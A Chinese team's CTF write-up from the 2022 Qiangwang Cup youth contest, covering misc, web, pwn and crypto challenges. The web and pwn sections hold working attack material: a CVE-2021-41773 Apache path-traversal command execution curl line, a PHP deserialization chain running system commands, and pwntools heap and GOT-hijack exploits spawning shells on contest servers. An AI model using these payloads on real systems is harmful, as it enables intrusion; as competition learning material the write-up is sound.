WP|2022第六届强网杯青少赛线上赛WriteUp 中学生CTF 青少年CTF

发布于:2022-12-10 ⋅ 阅读:(200) ⋅ 点赞:(0)

这次比赛,非常感谢来自许昌学院的ZIKH26师傅的Pwn、和粥续师傅的Misc,我这次出的题目不多,并且个人排名也不是很靠前。

赛前我们也做了很多次学习、夜以继日的刷题,辛辛苦苦的把这次比赛的线上赛打出了一个还不错的成绩。

非常感谢能够有二位师傅的拼力以赴,才有如今的成绩。

部分题目已经复现放到“青少年CTF平台”中,感兴趣的可以前去作答,不知道平台地址的可以看我们本次文章的副条或百度搜索“青少年CTF”。

(www.qsnctf.com)

战队名称:中学生CTF

•总名次:

•解题情况

Misc1

•题目方向:Misc

使用到的工具

•Python

•浏览器

•Burpsuite

解题过程

题目内容下载附件,得到一个压缩包,里面是个图片文件,但是其中的内容应该是base64编码.

.版本 2.程序集 程序集1.子程序 _启动子程序, 整数型, , 本子程序在程序启动后最先执行写到文件 (取运行目录 () + “\1.png”, 编码_BASE64解码 (#图片内容))

拿到了下面的文件,发现文件头不对

f=open("./m1.png","rb")ff=open("./output.png","wb")dat1=f.read()for i1 in range(0,len(dat1),2):    for i2 in [1,0]:        try:            W=chr(dat1[i1+i2]).encode("iso8859-1") #            ff.write(W)        except:passff.close()

用上面的脚本,将两个Hex互换。接着保存文件,注意格式应该是iso8859-1。

lsb隐写,密码应该是4536251

Flag

•flag{5cc0aa21208b517dbd0bde650247237f}

Misc3

•题目方向:misc

使用到的工具

•winhex

•binwalk

•lsb脚本

解题过程

下载文件把图片放到winhex里发现是个jpg,更改jpg后发现一个密码7his_1s_p4s5w0rd

放到虚拟机后利用binwalk -e 分解一下 得到压缩包,里面有个图

得到图片 猜测lsb 加上密码利用脚本 解出flag

Flag

•flag{2e55f884-ef01-4654-87b1-cc3111800085}

Web1

•题目方向:Web

使用到的工具

•curl

•浏览器

•Burpsuite

解题过程

题目提示是CVE-2021-41773

dirscan扫描出cgi-bin

有内容返回

调用bin/sh

执行名

curl 'http://101.200.211.26:31033/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;ls

curl 'http://101.200.211.26:31033/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;ls /'

参考https://blog.csdn.net/weixin_44769042/article/details/120978656

Flag

•flag{1474ba5f-92a3-4ed1-8e8f-27a8c24b5d31}

Web3

•题目方向:Web

使用到的工具

•phpstudy

•浏览器

•Burpsuite

解题过程

下发环境,进入

尝试备份文件下载,wwwroot.zip、www.zip (从www.zip成功下载文件)

Vscode编辑,分析代码。

<?phpclass Water{    public $waterfall;    public function __construct(){        $this->waterfall = array();    }    public function __get($value){        $function = $this->waterfall;        return $function();    }}class Circle{    public $daemon;    protected $dash;    public function __toString(){        return $this->daemon;    }    public function runc($value){        @eval($value);    }    public function __invoke(){        $this->runc($this->dash);    }}class Range{    public $horis;    public $link;    public function __construct($link="link"){        $this->link = $link;        echo $link;    }    public function __toString(){        return $this->link->horis;    }}class Sliver{    public $secret;    public $resty;    public function __construct($nice="wow"){        $this->secret = $nice;        echo "My secert --- ".$this->secret."<br>";    }    public function __destruct(){        if(preg_match("/circle|gopher|http|file|ftp|https|dict|\.\./i", $this->secret)) {            echo "no~no~no~";        }    }    function __wakeup(){        if ($this->secret != 'circle') {            $this->secret = 'circle';        }    }}$data = @$_GET['data'];if(isset($data)){    $url = parse_url($_SERVER['REQUEST_URI']);    parse_str($url['query'],$q);    foreach($q as $v)    {        if(preg_match("/^O/i",$v))        {            die('YOU ARE hacker!!!');            exit();        }    }    unserialize($data);}?>

 

先看Sliver

class Sliver{    public $secret;    public $resty;    public function __construct($nice="wow"){        $this->secret = $nice;        echo "My secert --- ".$this->secret."<br>";    }    public function __destruct(){        if(preg_match("/circle|gopher|http|file|ftp|https|dict|\.\./i", $this->secret)) {            echo "no~no~no~";        }    }    function __wakeup(){        if ($this->secret != 'circle') {            $this->secret = 'circle';        }    }}

 

不得不说,有点像去年的题目了hhh

过滤了一个重要的地方 circle,这也提示我们需要让circle既存在亦不存在

事实上,这里的preg_match是对大小写不敏感的搜索,因为后面标记了i,所以直接调用此处class会提示no~ no~ no~

    function __wakeup(){        if ($this->secret != 'circle') {            $this->secret = 'circle';        }

 

此处理论上也是可以存在魔术方法调用,此处的this也可以利用起来。

<?phpclass Water{    public $waterfall;}class Circle{    public $daemon;    protected $dash;    public function __construct(){        $this->dash = "eval(\$_POST[1]);";    }}class Range{    public $horis;    public $link;}class Sliver{    public $secret;    public $resty;}$a = new Water();$b = new Circle();$c = new Range();$d = new Sliver();$a->waterfall = $b;$r->link = $a;$s->secert = $c;$v = array("1",$d);$final = serialize($v);echo urlencode($final);

 

上面的代码,是将eval传入的序列化过程。

此处payload:

a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3BO%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BN%3Bs%3A5%3A%22resty%22%3BN%3B%7D%7D

想着通过此处能够直接一举拿下,发现有些问题,思考了很久,慢慢的跑,测试。

发现其实方向有很大的问题,修改一下序列化内容(优化我的小Poc!~~)

修改一下,并且直接system('nl+/*')

<?php      class Water{       public $waterfall;   //public $waterfall=new Circle();        public function __construct(){        $this->waterfall = array();       }       public function __get($value){        $function = $this->waterfall;        return $function();       }      }      class Circle{       public $daemon;       protected $dash="system('nl /*');";       public function runc($value){        @eval($value);       }       public function __invoke(){        $this->runc($this->dash);       }      }      class Range{       public $horis="system('nl /*');";       public $link;    //new Water();       // public function __construct($link="link"){       //     $this->link = $link;       //     echo $link;       // }       public function __toString(){        return $this->link->horis;       }      }      class Sliver{       public $secret;  //new Range();       public $resty;       public function __destruct(){        if(preg_match("/circle|gopher|http|file|ftp|https|dict|\.\./i", $this->secret)) {         echo "no~no~no~";        }       }       function __wakeup(){        if ($this->secret != 'circle') {         $this->secret = 'circle';        }       }      }      $a = new Sliver();      $b = new Range();      $c = new Water();      $d = new Circle();      $a->secret = $b;      $b->link = $c;      $c->waterfall = $d;      echo urlencode(serialize($a));

 

即:

类Sliver下的$secret=new Range();通过反序列化是进入__destruct,preg_match()会把$secret当成字符串,从而调用range->__toString()然后将range类下的$link=new Water();,$horis="system('nl /*');";  因为link指向Water类,在Water类下没有$horis,所以会调用Water类下的__get()方法,最后将Water类下的$waterfall=new Circle(); ,通过return $function();,调用Circle类下的__invoke()方法,之后调用func方法,进行命令执行。

反序列化内容如下:

a:2:{i:0;s:1:"1";i:1;O:6:"Sliver":2:{s:6:"secret";O:5:"Range":2:{s:5:"horis";s:16:"system('nl+/*');";s:4:"link";O:5:"Water":1:{s:9:"waterfall";O:6:"Circle":2:{s:6:"daemon";N;s:7:"*dash";s:16:"system('nl+/*');";}}}s:5:"resty";N;}

 

payload如下


 
a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3BO%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3Bs%3A16%3A%22system%28%27nl+%2F%2A%27%29%3B%22%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A16%3A%22system%28%27nl+%2F%2A%27%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D请求包:GET /demo.php?data=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3BO%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3Bs%3A16%3A%22system%28%27nl+%2F%2A%27%29%3B%22%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A16%3A%22system%28%27nl+%2F%2A%27%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D HTTP/1.1Host: eci-2ze8kmadkk85z5p1qpdi.cloudeci1.ichunqiu.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1

 

Flag

•flag{336d27b2-4865-4b1b-976d-b47eb0391f7d}

PWN1

•题目方向:pwn

使用到的工具

•ida

•gdb

•pwntools

解题过程

保护:

通过分析ida,发现是道VM pwn

存储时的主要代码

void __fastcall sub_400CD0(__int64 a1, char *a2){  char *v2; // r13  char *v3; // rax  int v4; // ebx  __int64 v5; // r15  int v6; // edx  int v7; // edx  int v8; // eax  __int64 *v9; // rcx  __int64 v10; // rsi  int v11; // ebx  char *v12; // rsi  char *v13; // [rsp+0h] [rbp-40h]  if ( !a1 )    return;  v2 = malloc(8LL * *(a1 + 8));  v13 = v2;  v3 = strtok(a2, delim);                       // a2是第二次输入的字符串                                                // v3是分割出来的前半部分字符串  if ( *(a1 + 8) <= 0 )    goto LABEL_26;  v4 = 0;  if ( !v3 )    goto LABEL_26;  while ( 1 )  {    if ( !strcmp(v3, "push") )    {      *v2 = 0x91LL;      v5 = 0x91LL;    }    else    {      v7 = *v3;      switch ( v7 )      {        case 'p':          if ( v3[1] == 'o' && v3[2] == 'p' && !v3[3] )// pop          {            *v2 = '\x92';            v5 = 146LL;            goto LABEL_6;          }          break;        case 'a':          if ( v3[1] == 'd' && v3[2] == 'd' && !v3[3] )// add          {            *v2 = 147LL;            v5 = 147LL;            goto LABEL_6;          }          break;        case 's':          if ( v3[1] == 'u' && v3[2] == 'b' && !v3[3] )// sub          {            *v2 = 148LL;            v5 = 148LL;            goto LABEL_6;          }          break;        case 'm':          if ( v3[1] == 'u' && v3[2] == 'l' && !v3[3] )// mul          {            *v2 = 149LL;            v5 = 149LL;            goto LABEL_6;          }          break;        default:          if ( v7 == 'd' && v3[1] == 'i' && v3[2] == 'v' && !v3[3] )// div          {            *v2 = 150LL;            v5 = 150LL;            goto LABEL_6;          }          break;      }      if ( !strcmp(v3, "load") )      {        *v2 = 151LL;        v5 = 151LL;      }      else if ( !strcmp(v3, "save") )      {        *v2 = 152LL;        v5 = 152LL;      }      else      {        *v2 = '\x90';        v5 = 144LL;      }    }LABEL_6:    v2 += 8;    v3 = strtok(0LL, delim);                    // 此时的v3是前面指令的操作数    v6 = *(a1 + 8);                             // v6正常的值拿的是0x100    if ( !v3 || v6 <= v4 + 1 )      break;    ++v4;  }  if ( v4 >= 0 )  {                                             // *a1应该是malloc 0x10那个堆块的地址                                                // *(a1+8)应该是0x100                                                // *(a1+12)应该是-1    v8 = *(a1 + 12) + 1;    if ( v6 != v8 )    {      v9 = (*a1 + 8LL * v8);                    // v9等于*a1      v10 = v4;      v11 = v8 + v4;      v12 = &v13[8 * v10];      while ( 1 )      {        *v9 = v5;                               // *a1放的是操作码        if ( v11 == v8 )          break;        v5 = *(v12 - 1);        ++v9;        v12 -= 8;        if ( v6 == v8 + 1 )        {          *(a1 + 12) = v8;          goto LABEL_26;        }        ++v8;      }      *(a1 + 12) = v11;    }  }LABEL_26:  free(v13);}

 

因为做这个题的时候,感觉跟之前做过的一个vm pwn很像,感觉是原题,百度了一下 最后找到了是ciscn_2019_qual_virtual这个题,然后参考看着网上师傅们的博客,做了一下。然后本来是抱着试试看的心态,结果没想到直接打通了。

这个题的漏洞点主要是save有一个任意写和load一个任意读,劫持got表就ok了

from pwn import *context.log_level='debug'r = remote("101.200.76.17",40319)puts_got = 0x603020#0x404020r.recvuntil("What is your name?\n")r.sendline("/bin/sh\x00")r.recvuntil("Input Code:\n")payload= 'push push load push sub div load push add 'payload+= 'push push load push sub div save 'r.sendline(payload) r.recvuntil("Init Stack:\n")payload = str(8)+' 'payload += str(-4)+' 'payload += str(puts_got+8)+' 'payload += str(-0x2a300)+' 'payload += str(8)+' 'payload += str(-5)+' 'payload += str(puts_got+8)+' 'r.sendline(payload)r.interactive()

 

参考文章:

https://www.z1r0.top/2022/04/11/vm-pwn%E5%AD%A6%E4%B9%A0/

https://blog.csdn.net/yongbaoii/article/details/119518653

Flag

•flag{b095822e-51e8-48ed-be3e-5286a120467b}

PWN2

•题目方向:pwn

使用到的工具

•ida

•gdb

•pwntools以及自己编写的tools库

解题过程

保护:

发现是Partial RELRO,因此我们可以修改got表,同时没开pie

漏洞点是off by null(如下)

大致思路是打一个off by null,然后做一个堆块合并,打double free。最后是fastbin attack。由于fastbin attack有个检查是针对于size的,这个0x7f的size我选择放到了0x6020ad这个地址,将这个地址申请出来后,我们可以篡改数组input_str。

其实就是那种unlink打完的效果,直接控制堆块地址的信息。

然后我们去在这个数组里布置free函数的got表(用于篡改为puts函数的plt表)以及atoi的got表(用于篡改为system地址,获取shell)和一个puts的got表(用于泄露地址)

泄露地址如下:

拿到地址后我们直接去编辑atoi函数的got表,最终写入一个/bin/sh即可获取shell。

最后就是这题俩坑,第一是libc版本没给就很离谱,但是我考虑到off by null要是想做堆块重叠的话,肯定是堆块的大小要大于fast bin或者tcache bin的,但是申请堆块大小最大为0x400,这样肯定是没法大于tcahe bin,所以我猜测应该是2.23的libc,然后随便蒙了个小libc版本就开始写。

第二点就是,这题目名字有干扰性吧,还给的show函数是个base64解密之后才能打印,这个根本就没用,数据是要劫持free的got表为puts的plt才完成的泄露

PS:我小版本没蒙对,但是打远程的时候泄露完地址,用LibcSearcher自己搜了

EXP:

这是我自己写的库  tools源码 https://www.cnblogs.com/ZIKH26/articles/16307343.html

from tools import *p,e,libc=load("heap","101.200.76.17:27049")context.log_level='debug'#libc=ELF("/home/hacker/Desktop/buu64-libc-2.23.so")d_d=0x400ED3d_a=0x400BEFd_e=0x400FA9d_s=0x400D64def add(index,size,content):    p.sendlineafter('>',str(1))    p.sendlineafter('Index(0~9):',str(index))    p.sendlineafter('Size(1 ~ 1024):',str(size))    p.sendlineafter('Content:',content)    def edit(index,content):    p.sendlineafter('>',str(4))    p.sendlineafter('Index(0~9):',str(index))    p.sendlineafter('Content:',content)    def delete(index):    p.sendlineafter('>',str(3))    p.sendlineafter('Index(0~9):',str(index))    def show(index):    p.sendlineafter('>',str(2))    p.sendlineafter('Index(0~9):',str(index))   add(0,0x3f0,'a')add(1,0x68,'b'*0x20)add(2,0x3f0,'c'*0x400)add(3,0x60,'d')delete(1)delete(0)add(1,0x68,b'b'*0x60+p64(0x470))delete(2)add(4,0x3f0,'s')add(5,0x68,'p')delete(5)delete(3)delete(1)add(6,0x68,p64(0x6020ad))add(1,0x68,'a')add(2,0x68,b'/bin/sh\x00')add(7,0x68,b'c'*3+p64(0x602018)+p64(e.got['puts'])+p64(e.got['atoi']))edit(0,p64(e.plt['puts']))delete(1)puts_addr=recv_libc()sys_addr,bin_sh_addr=long_search('puts',free_addr)#sys_addr,bin_sh_addr=local_search('puts',puts_addr,libc)log_addr('sys_addr')#debug(p,d_d,d_a,d_s,d_e,0x401092)edit(2,p64(sys_addr))p.sendlineafter('>',str(1))p.sendlineafter('Index(0~9):','/bin/sh\x00')p.interactive()

Flag

•flag{d74bad50-94dc-4527-8a88-512253eef43a} 

Crypto1

•题目方向:misc

使用到的工具

•010Editor

•CaptEncoder V2

•Quipqiup

解题过程

下载后得到附件,使用010Editor打开,发现了一些不一样的地方

与原文本不同的是,这里有0A(也就是回车),应该是按照这里分割的

将0A替换成2F

复制到CaptfEncoder V2里,设置长字符为A,短字符为B

BKJOGDTKFOEJ PV GEX OKFBGPBX FSM VGRMJ DI GXBESPZRXV IDK VXBRKX BDHHRSPBFGPDS PS GEX OKXVXSBX DI FMCXKVFKPFW QXEFCPDK, NEPBE PV MPCPMXM PSGD BWFVVPBFW BKJOGDTKFOEJ FSM HDMXKS BKJOGDTKFOEJ. GEX HFPS BWFVVPBFW BPOEXK GJOXV FKX GKFSVODVPGPDS BPOEXKV, NEPBE KXFKKFSTX GEX DKMXK DI WXGGXKV PS F HXVVFTX. FS XFKWJ VRQVGPGRGPDS BPOEXK NFV GEX BFXVFK BPOEXK, PS NEPBE XFBE WXGGXK PS GEX OWFPSGXYG NFV KXOWFBXM QJ F WXGGXK VDHX IPYXM SRHQXK DI ODVPGPDSV IRKGEXK MDNS GEX FWOEFQXG. VPSBX GEX MXCXWDOHXSG DI KDGDK BPOEXK HFBEPSXV PS NDKWM NFK P FSM GEX FMCXSG DI BDHORGXKV PS NDKWM NFK PP, BKJOGDTKFOEJ HXGEDMV EFCX QXBDHX PSBKXFVPSTWJ BDHOWXY FSM PGV FOOWPBFGPDSV HDKX CFKPXM. HDMXKS BKJOGDTKFOEJ PV EXFCPWJ QFVXM DS HFGEXHFGPBFW GEXDKJ FSM BDHORGXK VBPXSBX OKFBGPBX; BKJOGDTKFOEPB FWTDKPGEHV FKX MXVPTSXM FKDRSM BDHORGFGPDSFW EFKMSXVV FVVRHOGPDSV. GEX TKDNGE DI BKJOGDTKFOEPB GXBESDWDTJ EFV KFPVXM F SRHQXK DI WXTFW PVVRXV PS GEX PSIDKHFGPDS FTX. BKJOGDTKFOEJ'V ODGXSGPFW IDK RVX FV F GDDW IDK XVOPDSFTX FSM VXMPGPDS EFV WXM HFSJ TDCXKSHXSGV GD BWFVVPIJ PG FV F NXFODS FSM GD WPHPG DK XCXS OKDEPQPG PGV RVX FSM XYODKG. PS VDHX ARKPVMPBGPDSV NEXKX GEX RVX DI BKJOGDTKFOEJ PV WXTFW, WFNV OXKHPG PSCXVGPTFGDKV GD BDHOXW GEX MPVBWDVRKX DI XSBKJOGPDS LXJV IDK MDBRHXSGV KXWXCFSG GD FS PSCXVGPTFGPDS. BKJOGDTKFOEJ FWVD OWFJV F HFADK KDWX PS MPTPGFW KPTEGV HFSFTXHXSG FSM BDOJKPTEG PSIKPSTXHXSG MPVORGXV PS KXTFKM GD MPTPGFW HXMPF.GEX IWFT PV 1M817I23-4X20-9405-QI6M-X83M055316M6, OWXFVX FMM IWFT VGKPST FSM QKFBXV JDRKVXWI, FSM FWW WXGGXKV FKX WDNXKBFVX.

扔到quipqiup得到flag(需要小写)

Flag

•flag{1D817F23-4E20-9405-BF6D-E83D55316D6}

Crypto2

•题目方向:Crypto

使用到的工具

•Python

•浏览器

•Burpsuite

解题过程

看到这么乱的内容,并且有类似于flag的结构,首先怀疑是栅栏。

第一步 栅栏32 解密得到 FLAG[vxpsDqCElwwoClsoColwpuvlqFvvFrpopBss]

工具地址:https://www.qqxiuzi.cn/bianma/zhalanmima.php

第二步 使用本地的CyberChef 解密(也可以使用我们平台的在线工具)

提交发现不对,题目提示使用uuid,uuid则为-分割,rot31是横杠,但也不对,发现这里除了数字,英文字母都是一样的。(所有值减去1位,类似于密文直接rot32)

FLAG{7914d2ce-880c-40c0-8167-2f77f3101b44}

Flag

•flag{7914d2ce-880c-40c0-8167-2f77f3101b44}

不知道这样出来的话,算不算非预期解呢。

上述题目为

Misc1、3,Web1、3,Pwn1、2,Crypto1、2

补充flag(赛后搜集,我们没有、没出来的)

Web2

首页Show Source、然后发现Base64,进行二次解码,拿到cream.php

进来之后如下

首先了解,file传参是给fopen,content是内容。

根据这个要求,写下面的payload,使用temp方法传参

cream.php?file=php://temp&content=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oImNhdCAvZmxhZyIpOw==

使用此语句,执行之后发现被转义了。

(图片来源于比赛录屏)

怀疑是语句问题

使用 PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg== 替换后面的Base64

仍然是被转义

由于比赛快结束了,所以并没有解出来flag,这应该算是这场比赛的一点遗憾吧。

很奇怪这样的payload应该是正常的,但是执行却会被转义。

今天看了一下别人公布的WP,memory,temp,data都有成功的。

怪了。

 

本文含有隐藏内容,请 开通VIP 后查看